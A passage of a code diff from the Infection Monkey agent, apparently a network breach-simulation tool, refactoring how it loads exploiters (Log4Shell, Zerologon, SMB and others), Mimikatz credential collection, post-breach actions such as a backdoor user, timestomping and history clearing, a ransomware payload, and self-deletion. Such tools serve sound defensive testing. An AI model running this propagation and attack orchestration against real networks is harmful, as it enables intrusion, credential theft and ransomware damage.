{victim_host.default_tunnel}") + logger.debug(f"Default server for {victim_host} set to {victim_host.default_server}") + + return victim_host + + def _choose_island_address(self, victim_ip: str) -> Tuple[str, Optional[str]]: + # Victims need to connect back to the interface they can reach + # On island, choose the right interface to pass to children monkeys + if self.on_island: + default_server_port = self.island_port if self.island_port else None + interface = get_interface_to_target(victim_ip) + + return interface, default_server_port + else: + return self.island_ip, self.island_port diff --git a/monkey/infection_monkey/model/victim_host_generator.py b/monkey/infection_monkey/model/victim_host_generator.py deleted file mode 100644 index 444c4a5ee..000000000 --- a/monkey/infection_monkey/model/victim_host_generator.py +++ /dev/null @@ -1,45 +0,0 @@ -from infection_monkey.model.host import VictimHost - - -class VictimHostGenerator(object): - def __init__(self, network_ranges, blocked_ips, same_machine_ips): - self.blocked_ips = blocked_ips - self.ranges = network_ranges - self.local_addresses = same_machine_ips - - def generate_victims(self, chunk_size): - """ - Generates VictimHosts in chunks from all the instances network ranges - :param chunk_size: Maximum size of each chunk - """ - chunk = [] - for net_range in self.ranges: - for victim in self.generate_victims_from_range(net_range): - chunk.append(victim) - if len(chunk) == chunk_size: - yield chunk - chunk = [] - if chunk: # finished with number of victims < chunk_size - yield chunk - - def generate_victims_from_range(self, net_range): - """ - Generates VictimHosts from a given netrange - :param net_range: Network range object - :return: Generator of VictimHost objects - """ - for address in net_range: - if not self.is_ip_scannable(address): # check if the IP should be skipped - continue - if hasattr(net_range, "domain_name"): - victim = VictimHost(address, net_range.domain_name) - else: - victim = VictimHost(address) - yield victim - - def is_ip_scannable(self, ip_address): - if ip_address in self.local_addresses: - return False - if ip_address in self.blocked_ips: - return False - return True diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4160a36e0..e3d71a2f1 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -3,327 +3,407 @@ import logging import os import subprocess import sys -import time -from threading import Thread +from typing import List import infection_monkey.tunnel as tunnel +from common.network.network_utils import address_to_ip_port from common.utils.attack_utils import ScanStatus, UsageEnum -from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.version import get_version -from infection_monkey.config import WormConfiguration +from infection_monkey.config import GUID, WormConfiguration from infection_monkey.control import ControlClient -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.model import DELAY_DELETE_CMD +from infection_monkey.credential_collectors import ( + MimikatzCredentialCollector, + SSHCredentialCollector, +) +from infection_monkey.credential_store import AggregatingCredentialsStore, ICredentialsStore +from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper +from infection_monkey.exploit.hadoop import HadoopExploiter +from infection_monkey.exploit.log4shell import Log4ShellExploiter +from infection_monkey.exploit.mssqlexec import MSSQLExploiter +from infection_monkey.exploit.powershell import PowerShellExploiter +from infection_monkey.exploit.smbexec import SMBExploiter +from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.zerologon import ZerologonExploiter +from infection_monkey.i_puppet import IPuppet, PluginType +from infection_monkey.master import AutomatedMaster +from infection_monkey.master.control_channel import ControlChannel +from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory +from infection_monkey.network import NetworkInterface from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.network_scanner import NetworkScanner -from infection_monkey.network.tools import get_interface_to_target, is_running_on_island -from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware.ransomware_payload_builder import build_ransomware_payload -from infection_monkey.system_info import SystemInfoCollector +from infection_monkey.network.info import get_local_network_interfaces +from infection_monkey.network_scanning.elasticsearch_fingerprinter import ElasticSearchFingerprinter +from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter +from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerprinter +from infection_monkey.network_scanning.smb_fingerprinter import SMBFingerprinter +from infection_monkey.network_scanning.ssh_fingerprinter import SSHFingerprinter +from infection_monkey.payload.ransomware.ransomware_payload import RansomwarePayload +from infection_monkey.post_breach.actions.change_file_privileges import ChangeSetuidSetgid +from infection_monkey.post_breach.actions.clear_command_history import ClearCommandHistory +from infection_monkey.post_breach.actions.collect_processes_list import ProcessListCollection +from infection_monkey.post_breach.actions.communicate_as_backdoor_user import ( + CommunicateAsBackdoorUser, +) +from infection_monkey.post_breach.actions.discover_accounts import AccountDiscovery +from infection_monkey.post_breach.actions.hide_files import HiddenFiles +from infection_monkey.post_breach.actions.modify_shell_startup_files import ModifyShellStartupFiles +from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs +from infection_monkey.post_breach.actions.timestomping import Timestomping +from infection_monkey.post_breach.actions.use_signed_scripts import SignedScriptProxyExecution +from infection_monkey.post_breach.actions.use_trap_command import TrapCommand +from infection_monkey.post_breach.custom_pba import CustomPBA +from infection_monkey.puppet.puppet import Puppet from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.telemetry.attack.t1107_telem import T1107Telem -from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -from infection_monkey.telemetry.scan_telem import ScanTelem +from infection_monkey.telemetry.messengers.credentials_intercepting_telemetry_messenger import ( + CredentialsInterceptingTelemetryMessenger, +) +from infection_monkey.telemetry.messengers.exploit_intercepting_telemetry_messenger import ( + ExploitInterceptingTelemetryMessenger, +) +from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter import ( + LegacyTelemetryMessengerAdapter, +) from infection_monkey.telemetry.state_telem import StateTelem -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem -from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem +from infection_monkey.utils.aws_environment_check import run_aws_environment_check from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException from infection_monkey.utils.monkey_dir import ( create_monkey_dir, get_monkey_dir_path, remove_monkey_dir, ) -from infection_monkey.utils.monkey_log_path import get_monkey_log_path -from infection_monkey.windows_upgrader import WindowsUpgrader - -MAX_DEPTH_REACHED_MESSAGE = "Reached max depth, skipping propagation phase." - +from infection_monkey.utils.monkey_log_path import get_agent_log_path +from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers logger = logging.getLogger(__name__) +logging.getLogger("urllib3").setLevel(logging.INFO) -class InfectionMonkey(object): +class InfectionMonkey: def __init__(self, args): - self._keep_running = False - self._exploited_machines = set() - self._fail_exploitation_machines = set() - self._singleton = SystemSingleton() - self._parent = None - self._default_tunnel = None - self._args = args - self._network = None - self._exploiters = None - self._fingerprint = None - self._default_server = None - self._default_server_port = None - self._opts = None - self._upgrading_to_64 = False - self._monkey_tunnel = None - self._post_breach_phase = None - - def initialize(self): logger.info("Monkey is initializing...") + self._singleton = SystemSingleton() + self._opts = self._get_arguments(args) + self._cmd_island_ip, self._cmd_island_port = address_to_ip_port(self._opts.server) + self._default_server = self._opts.server + self._monkey_inbound_tunnel = None + self._telemetry_messenger = LegacyTelemetryMessengerAdapter() + self._current_depth = self._opts.depth + self._master = None - if not self._singleton.try_lock(): - raise Exception("Another instance of the monkey is already running") - + @staticmethod + def _get_arguments(args): arg_parser = argparse.ArgumentParser() arg_parser.add_argument("-p", "--parent") arg_parser.add_argument("-t", "--tunnel") arg_parser.add_argument("-s", "--server") arg_parser.add_argument("-d", "--depth", type=int) - arg_parser.add_argument("-vp", "--vulnerable-port") - self._opts, self._args = arg_parser.parse_known_args(self._args) - self.log_arguments() + opts, _ = arg_parser.parse_known_args(args) + InfectionMonkey._log_arguments(opts) - self._parent = self._opts.parent - self._default_tunnel = self._opts.tunnel - self._default_server = self._opts.server - - if self._opts.depth is not None: - WormConfiguration._depth_from_commandline = True - WormConfiguration.depth = self._opts.depth - logger.debug("Setting propagation depth from command line") - logger.debug(f"Set propagation depth to {WormConfiguration.depth}") - - self._keep_running = True - self._network = NetworkScanner() - - if self._default_server: - if self._default_server not in WormConfiguration.command_servers: - logger.debug("Added default server: %s" % self._default_server) - WormConfiguration.command_servers.insert(0, self._default_server) - else: - logger.debug( - "Default server: %s is already in command servers list" % self._default_server - ) - - def start(self): - try: - logger.info("Monkey is starting...") - - logger.debug("Starting the setup phase.") - # Sets island's IP and port for monkey to communicate to - self.set_default_server() - self.set_default_port() - - # Create a dir for monkey files if there isn't one - create_monkey_dir() - - self.upgrade_to_64_if_needed() - - ControlClient.wakeup(parent=self._parent) - ControlClient.load_control_config() - - if is_windows_os(): - T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() - - self.shutdown_by_not_alive_config() - - if is_running_on_island(): - WormConfiguration.started_on_island = True - ControlClient.report_start_on_island() - - if not ControlClient.should_monkey_run(self._opts.vulnerable_port): - raise PlannedShutdownException( - "Monkey shouldn't run on current machine " - "(it will be exploited later with more depth)." - ) - - if firewall.is_enabled(): - firewall.add_firewall_rule() - - self._monkey_tunnel = ControlClient.create_control_tunnel() - if self._monkey_tunnel: - self._monkey_tunnel.start() - - StateTelem(is_done=False, version=get_version()).send() - TunnelTelem().send() - - logger.debug("Starting the post-breach phase asynchronously.") - self._post_breach_phase = Thread(target=self.start_post_breach_phase) - self._post_breach_phase.start() - - if not InfectionMonkey.max_propagation_depth_reached(): - logger.info("Starting the propagation phase.") - logger.debug("Running with depth: %d" % WormConfiguration.depth) - self.propagate() - else: - logger.info( - "Maximum propagation depth has been reached; monkey will not propagate." - ) - TraceTelem(MAX_DEPTH_REACHED_MESSAGE).send() - - if self._keep_running and WormConfiguration.alive: - InfectionMonkey.run_ransomware() - - # if host was exploited, before continue to closing the tunnel ensure the exploited - # host had its chance to - # connect to the tunnel - if len(self._exploited_machines) > 0: - time_to_sleep = WormConfiguration.keep_tunnel_open_time - logger.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep - ) - time.sleep(time_to_sleep) - - except PlannedShutdownException: - logger.info( - "A planned shutdown of the Monkey occurred. Logging the reason and finishing " - "execution." - ) - logger.exception("Planned shutdown, reason:") - - finally: - if self._monkey_tunnel: - self._monkey_tunnel.stop() - self._monkey_tunnel.join() - - if self._post_breach_phase: - self._post_breach_phase.join() - - def start_post_breach_phase(self): - self.collect_system_info_if_configured() - PostBreach().execute_all_configured() + return opts @staticmethod - def max_propagation_depth_reached(): - return 0 == WormConfiguration.depth + def _log_arguments(args): + arg_string = " ".join([f"{key}: {value}" for key, value in vars(args).items()]) + logger.info(f"Monkey started with arguments: {arg_string}") - def collect_system_info_if_configured(self): - logger.debug("Calling for system info collection") - try: - system_info_collector = SystemInfoCollector() - system_info = system_info_collector.get_info() - SystemInfoTelem(system_info).send() - except Exception as e: - logger.exception(f"Exception encountered during system info collection: {str(e)}") + def start(self): + if self._is_another_monkey_running(): + logger.info("Another instance of the monkey is already running") + return - def shutdown_by_not_alive_config(self): - if not WormConfiguration.alive: - raise PlannedShutdownException("Marked 'not alive' from configuration.") + logger.info("Monkey is starting...") - def propagate(self): - ControlClient.keepalive() + self._add_default_server_to_config(self._opts.server) + self._connect_to_island() + + # TODO: Reevaluate who is responsible to send this information + if is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + + run_aws_environment_check(self._telemetry_messenger) + + should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() + if should_stop: + logger.info("The Monkey Island has instructed this agent to stop") + return + + self._setup() + self._master.start() + + @staticmethod + def _add_default_server_to_config(default_server: str): + if default_server: + logger.debug("Added default server: %s" % default_server) + WormConfiguration.command_servers.insert(0, default_server) + + def _connect_to_island(self): + # Sets island's IP and port for monkey to communicate to + if self._current_server_is_set(): + self._default_server = WormConfiguration.current_server + logger.debug("Default server set to: %s" % self._default_server) + else: + raise Exception( + "Monkey couldn't find server with {} default tunnel.".format(self._opts.tunnel) + ) + + ControlClient.wakeup(parent=self._opts.parent) ControlClient.load_control_config() - self._network.initialize() + def _current_server_is_set(self) -> bool: + if ControlClient.find_server(default_tunnel=self._opts.tunnel): + return True - self._fingerprint = HostFinger.get_instances() + return False - self._exploiters = HostExploiter.get_classes() + def _setup(self): + logger.debug("Starting the setup phase.") - if not WormConfiguration.alive: - logger.info("Marked not alive from configuration") + create_monkey_dir() - machines = self._network.get_victim_machines( - max_find=WormConfiguration.victims_max_find, - stop_callback=ControlClient.check_for_stop, + if firewall.is_enabled(): + firewall.add_firewall_rule() + + self._monkey_inbound_tunnel = ControlClient.create_control_tunnel() + if self._monkey_inbound_tunnel and self._propagation_enabled(): + self._monkey_inbound_tunnel.start() + + StateTelem(is_done=False, version=get_version()).send() + TunnelTelem().send() + + self._build_master() + + register_signal_handlers(self._master) + + def _build_master(self): + local_network_interfaces = InfectionMonkey._get_local_network_interfaces() + + control_channel = ControlChannel(self._default_server, GUID) + credentials_store = AggregatingCredentialsStore(control_channel) + + puppet = self._build_puppet(credentials_store) + + victim_host_factory = self._build_victim_host_factory(local_network_interfaces) + + telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + ExploitInterceptingTelemetryMessenger( + self._telemetry_messenger, self._monkey_inbound_tunnel + ), + credentials_store, ) - for machine in machines: - if ControlClient.check_for_stop(): - break - for finger in self._fingerprint: - logger.info( - "Trying to get OS fingerprint from %r with module %s", - machine, - finger.__class__.__name__, - ) - try: - finger.get_host_fingerprint(machine) - except BaseException as exc: - logger.error( - "Failed to run fingerprinter %s, exception %s" % finger.__class__.__name__, - str(exc), - ) + self._master = AutomatedMaster( + self._current_depth, + puppet, + telemetry_messenger, + victim_host_factory, + control_channel, + local_network_interfaces, + credentials_store, + ) - ScanTelem(machine).send() + @staticmethod + def _get_local_network_interfaces(): + local_network_interfaces = get_local_network_interfaces() + for i in local_network_interfaces: + logger.debug(f"Found local interface {i.address}{i.netmask}") - # skip machines that we've already exploited - if machine in self._exploited_machines: - logger.debug("Skipping %r - already exploited", machine) - continue + return local_network_interfaces - if self._monkey_tunnel: - self._monkey_tunnel.set_tunnel_for_host(machine) - if self._default_server: - if self._network.on_island(self._default_server): - machine.set_default_server( - get_interface_to_target(machine.ip_addr) - + (":" + self._default_server_port if self._default_server_port else "") - ) - else: - machine.set_default_server(self._default_server) - logger.debug( - "Default server for machine: %r set to %s" % (machine, machine.default_server) - ) + def _build_puppet(self, credentials_store: ICredentialsStore) -> IPuppet: + puppet = Puppet() - # Order exploits according to their type - self._exploiters = sorted( - self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value - ) - host_exploited = False - for exploiter in [exploiter(machine) for exploiter in self._exploiters]: - if self.try_exploiting(machine, exploiter): - host_exploited = True - VictimHostTelem("T1210", ScanStatus.USED, machine=machine).send() - if exploiter.RUNS_AGENT_ON_SUCCESS: - break # if adding machine to exploited, won't try other exploits - # on it - if not host_exploited: - self._fail_exploitation_machines.add(machine) - VictimHostTelem("T1210", ScanStatus.SCANNED, machine=machine).send() - if not self._keep_running: - break + puppet.load_plugin( + "MimikatzCollector", + MimikatzCredentialCollector(), + PluginType.CREDENTIAL_COLLECTOR, + ) + puppet.load_plugin( + "SSHCollector", + SSHCredentialCollector(self._telemetry_messenger), + PluginType.CREDENTIAL_COLLECTOR, + ) - if not WormConfiguration.alive: - logger.info("Marked not alive from configuration") + puppet.load_plugin("elastic", ElasticSearchFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("http", HTTPFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("mssql", MSSQLFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) - def upgrade_to_64_if_needed(self): - if WindowsUpgrader.should_upgrade(): - self._upgrading_to_64 = True - self._singleton.unlock() - logger.info("32bit monkey running on 64bit Windows. Upgrading.") - WindowsUpgrader.upgrade(self._opts) - raise PlannedShutdownException("Finished upgrading from 32bit to 64bit.") + agent_repository = CachingAgentRepository( + f"https://{self._default_server}", ControlClient.proxies + ) + exploit_wrapper = ExploiterWrapper(self._telemetry_messenger, agent_repository) + + puppet.load_plugin( + "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER + ) + puppet.load_plugin( + "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER + ) + puppet.load_plugin( + "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER + ) + puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER) + puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) + puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) + puppet.load_plugin( + "MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER + ) + + zerologon_telemetry_messenger = CredentialsInterceptingTelemetryMessenger( + self._telemetry_messenger, credentials_store + ) + zerologon_wrapper = ExploiterWrapper(zerologon_telemetry_messenger, agent_repository) + puppet.load_plugin( + "ZerologonExploiter", + zerologon_wrapper.wrap(ZerologonExploiter), + PluginType.EXPLOITER, + ) + + puppet.load_plugin( + "CommunicateAsBackdoorUser", + CommunicateAsBackdoorUser(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ModifyShellStartupFiles", + ModifyShellStartupFiles(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "HiddenFiles", HiddenFiles(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "TrapCommand", + CommunicateAsBackdoorUser(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ChangeSetuidSetgid", + ChangeSetuidSetgid(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ScheduleJobs", ScheduleJobs(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "Timestomping", Timestomping(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "AccountDiscovery", + AccountDiscovery(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ProcessListCollection", + ProcessListCollection(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "TrapCommand", TrapCommand(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "SignedScriptProxyExecution", + SignedScriptProxyExecution(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ClearCommandHistory", + ClearCommandHistory(self._telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "CustomPBA", CustomPBA(self._telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) + + return puppet + + def _build_victim_host_factory( + self, local_network_interfaces: List[NetworkInterface] + ) -> VictimHostFactory: + on_island = self._running_on_island(local_network_interfaces) + logger.debug(f"This agent is running on the island: {on_island}") + + return VictimHostFactory( + self._monkey_inbound_tunnel, self._cmd_island_ip, self._cmd_island_port, on_island + ) + + def _running_on_island(self, local_network_interfaces: List[NetworkInterface]) -> bool: + server_ip, _ = address_to_ip_port(self._default_server) + return server_ip in {interface.address for interface in local_network_interfaces} + + def _is_another_monkey_running(self): + return not self._singleton.try_lock() def cleanup(self): logger.info("Monkey cleanup started") - self._keep_running = False + deleted = None + try: + if self._master: + self._master.cleanup() + + reset_signal_handlers() + + if self._monkey_inbound_tunnel and self._propagation_enabled(): + self._monkey_inbound_tunnel.stop() + self._monkey_inbound_tunnel.join() + + if firewall.is_enabled(): + firewall.remove_firewall_rule() + firewall.close() + + deleted = InfectionMonkey._self_delete() + + InfectionMonkey._send_log() - if self._upgrading_to_64: - InfectionMonkey.close_tunnel() - firewall.close() - else: StateTelem( is_done=True, version=get_version() ).send() # Signal the server (before closing the tunnel) - InfectionMonkey.close_tunnel() - firewall.close() - self.send_log() - self._singleton.unlock() - InfectionMonkey.self_delete() + InfectionMonkey._close_tunnel() + self._singleton.unlock() + except Exception as e: + logger.error(f"An error occurred while cleaning up the monkey agent: {e}") + if deleted is None: + InfectionMonkey._self_delete() + logger.info("Monkey is shutting down") + def _propagation_enabled(self) -> bool: + # If self._current_depth is None, assume that propagation is desired. + # The Master will ignore this value if it is None and pull the actual + # maximum depth from the server + return self._current_depth is None or self._current_depth > 0 + @staticmethod - def close_tunnel(): - tunnel_address = ( - ControlClient.proxies.get("https", "").replace("https://", "").split(":")[0] - ) + def _close_tunnel(): + tunnel_address = ControlClient.proxies.get("https", "").replace("http://", "").split(":")[0] if tunnel_address: logger.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) @staticmethod - def self_delete(): + def _send_log(): + monkey_log_path = get_agent_log_path() + if monkey_log_path.is_file(): + with open(monkey_log_path, "r") as f: + log = f.read() + else: + log = "" + + ControlClient.send_log(log) + + @staticmethod + def _self_delete() -> bool: status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED T1107Telem(status, get_monkey_dir_path()).send() + deleted = False if -1 == sys.executable.find("python"): try: @@ -342,125 +422,14 @@ class InfectionMonkey(object): close_fds=True, startupinfo=startupinfo, ) + deleted = True else: os.remove(sys.executable) status = ScanStatus.USED + deleted = True except Exception as exc: logger.error("Exception in self delete: %s", exc) status = ScanStatus.SCANNED if status: T1107Telem(status, sys.executable).send() - - def send_log(self): - monkey_log_path = get_monkey_log_path() - if os.path.exists(monkey_log_path): - with open(monkey_log_path, "r") as f: - log = f.read() - else: - log = "" - - ControlClient.send_log(log) - - def try_exploiting(self, machine, exploiter): - """ - Workflow of exploiting one machine with one exploiter - :param machine: Machine monkey tries to exploit - :param exploiter: Exploiter to use on that machine - :return: True if successfully exploited, False otherwise - """ - if not exploiter.is_os_supported(): - logger.info( - "Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, - machine, - machine.os, - ) - return False - - logger.info( - "Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__ - ) - - result = False - try: - result = exploiter.exploit_host() - if result: - self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) - return True - else: - logger.info( - "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ - ) - except ExploitingVulnerableMachineError as exc: - logger.error( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, - ) - self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) - return True - except FailedExploitationError as e: - logger.info( - "Failed exploiting %r with exploiter %s, %s", - machine, - exploiter.__class__.__name__, - e, - ) - except Exception as exc: - logger.exception( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, - ) - finally: - exploiter.send_exploit_telemetry(result) - return False - - def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): - """ - Workflow of registering successfully exploited machine - :param machine: machine that was exploited - :param exploiter: exploiter that succeeded - """ - if RUNS_AGENT_ON_SUCCESS: - self._exploited_machines.add(machine) - - logger.info("Successfully propagated to %s using %s", machine, exploiter.__class__.__name__) - - # check if max-exploitation limit is reached - if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): - self._keep_running = False - - logger.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) - - def set_default_port(self): - try: - self._default_server_port = self._default_server.split(":")[1] - except KeyError: - self._default_server_port = "" - - def set_default_server(self): - """ - Sets the default server for the Monkey to communicate back to. - :raises PlannedShutdownException if couldn't find the server. - """ - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) - ) - self._default_server = WormConfiguration.current_server - logger.debug("default server set to: %s" % self._default_server) - - def log_arguments(self): - arg_string = " ".join([f"{key}: {value}" for key, value in vars(self._opts).items()]) - logger.info(f"Monkey started with arguments: {arg_string}") - - @staticmethod - def run_ransomware(): - try: - ransomware_payload = build_ransomware_payload(WormConfiguration.ransomware) - ransomware_payload.run_payload() - except Exception as ex: - logger.error(f"An unexpected error occurred while running the ransomware payload: {ex}") + return deleted diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 9bd004506..5144a8528 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -5,13 +5,10 @@ import sys -from PyInstaller.utils.hooks import collect_data_files - block_cipher = None def main(): - print(collect_data_files('policyuniverse')) a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), @@ -46,10 +43,6 @@ def is_windows(): return platform.system().find("Windows") >= 0 -def is_32_bit(): - return sys.maxsize <= 2 ** 32 - - def get_bin_folder(): return os.path.join('.', 'bin') @@ -62,6 +55,8 @@ def process_datas(orig_datas): datas = orig_datas if is_windows(): datas = [i for i in datas if i[0].find('Include') < 0] + else: + datas = [i for i in datas if not i[0].endswith("T1216_random_executable.exe")] return datas @@ -69,21 +64,17 @@ def get_hidden_imports(): imports = ['_cffi_backend', '_mssql'] if is_windows(): imports.append('queue') + imports.append('pkg_resources.py2_warn') return imports def get_monkey_filename(): name = 'monkey-' if is_windows(): - name = name + "windows-" + name = name + "windows-64.exe" else: - name = name + "linux-" - if is_32_bit(): - name = name + "32" - else: - name = name + "64" - if is_windows(): - name = name + ".exe" + name = name + "linux-64" + return name diff --git a/monkey/infection_monkey/monkeyfs.py b/monkey/infection_monkey/monkeyfs.py deleted file mode 100644 index e056512d2..000000000 --- a/monkey/infection_monkey/monkeyfs.py +++ /dev/null @@ -1,58 +0,0 @@ -import os -from io import BytesIO - -MONKEYFS_PREFIX = "monkeyfs://" - -open_orig = open - - -class VirtualFile(BytesIO): - _vfs = {} # virtual File-System - - def __init__(self, name, mode="r", buffering=None): - if not name.startswith(MONKEYFS_PREFIX): - name = MONKEYFS_PREFIX + name - self.name = name - if name in VirtualFile._vfs: - super(VirtualFile, self).__init__(self._vfs[name]) - else: - super(VirtualFile, self).__init__() - - def flush(self): - super(VirtualFile, self).flush() - VirtualFile._vfs[self.name] = self.getvalue() - - @staticmethod - def getsize(path): - return len(VirtualFile._vfs[path]) - - @staticmethod - def isfile(path): - return path in VirtualFile._vfs - - -def getsize(path): - if path.startswith(MONKEYFS_PREFIX): - return VirtualFile.getsize(path) - else: - return os.stat(path).st_size - - -def isfile(path): - if path.startswith(MONKEYFS_PREFIX): - return VirtualFile.isfile(path) - else: - return os.path.isfile(path) - - -def virtual_path(name): - return "%s%s" % (MONKEYFS_PREFIX, name) - - -# noinspection PyShadowingBuiltins -def open(name, mode="r", buffering=-1): - # use normal open for regular paths, and our "virtual" open for monkeyfs:// paths - if name.startswith(MONKEYFS_PREFIX): - return VirtualFile(name, mode, buffering) - else: - return open_orig(name, mode=mode, buffering=buffering) diff --git a/monkey/infection_monkey/network/HostFinger.py b/monkey/infection_monkey/network/HostFinger.py deleted file mode 100644 index 0ff0cb8e0..000000000 --- a/monkey/infection_monkey/network/HostFinger.py +++ /dev/null @@ -1,33 +0,0 @@ -from abc import abstractmethod - -import infection_monkey.network -from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin - - -class HostFinger(Plugin): - @staticmethod - def base_package_file(): - return infection_monkey.network.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.network.__package__ - - @property - @abstractmethod - def _SCANNED_SERVICE(self): - pass - - def init_service(self, services, service_key, port): - services[service_key] = {} - services[service_key]["display_name"] = self._SCANNED_SERVICE - services[service_key]["port"] = port - - @abstractmethod - def get_host_fingerprint(self, host): - raise NotImplementedError() - - @staticmethod - def should_run(class_name: str) -> bool: - return class_name in WormConfiguration.finger_classes diff --git a/monkey/infection_monkey/network/HostScanner.py b/monkey/infection_monkey/network/HostScanner.py deleted file mode 100644 index 4f7b850c1..000000000 --- a/monkey/infection_monkey/network/HostScanner.py +++ /dev/null @@ -1,7 +0,0 @@ -from abc import ABCMeta, abstractmethod - - -class HostScanner(metaclass=ABCMeta): - @abstractmethod - def is_host_alive(self, host): - raise NotImplementedError() diff --git a/monkey/infection_monkey/network/__init__.py b/monkey/infection_monkey/network/__init__.py index e69de29bb..ba42da1ba 100644 --- a/monkey/infection_monkey/network/__init__.py +++ b/monkey/infection_monkey/network/__init__.py @@ -0,0 +1 @@ +from .info import NetworkAddress, NetworkInterface diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py deleted file mode 100644 index 8ec2e3890..000000000 --- a/monkey/infection_monkey/network/elasticfinger.py +++ /dev/null @@ -1,48 +0,0 @@ -import json -import logging -from contextlib import closing - -import requests -from requests.exceptions import ConnectionError, Timeout - -import infection_monkey.config -from common.common_consts.network_consts import ES_SERVICE -from infection_monkey.network.HostFinger import HostFinger - -ES_PORT = 9200 -ES_HTTP_TIMEOUT = 5 -logger = logging.getLogger(__name__) - - -class ElasticFinger(HostFinger): - """ - Fingerprints elastic search clusters, only on port 9200 - """ - - _SCANNED_SERVICE = "Elastic search" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - - def get_host_fingerprint(self, host): - """ - Returns elasticsearch metadata - :param host: - :return: Success/failure, data is saved in the host struct - """ - try: - url = "http://%s:%s/" % (host.ip_addr, ES_PORT) - with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as req: - data = json.loads(req.text) - self.init_service(host.services, ES_SERVICE, ES_PORT) - 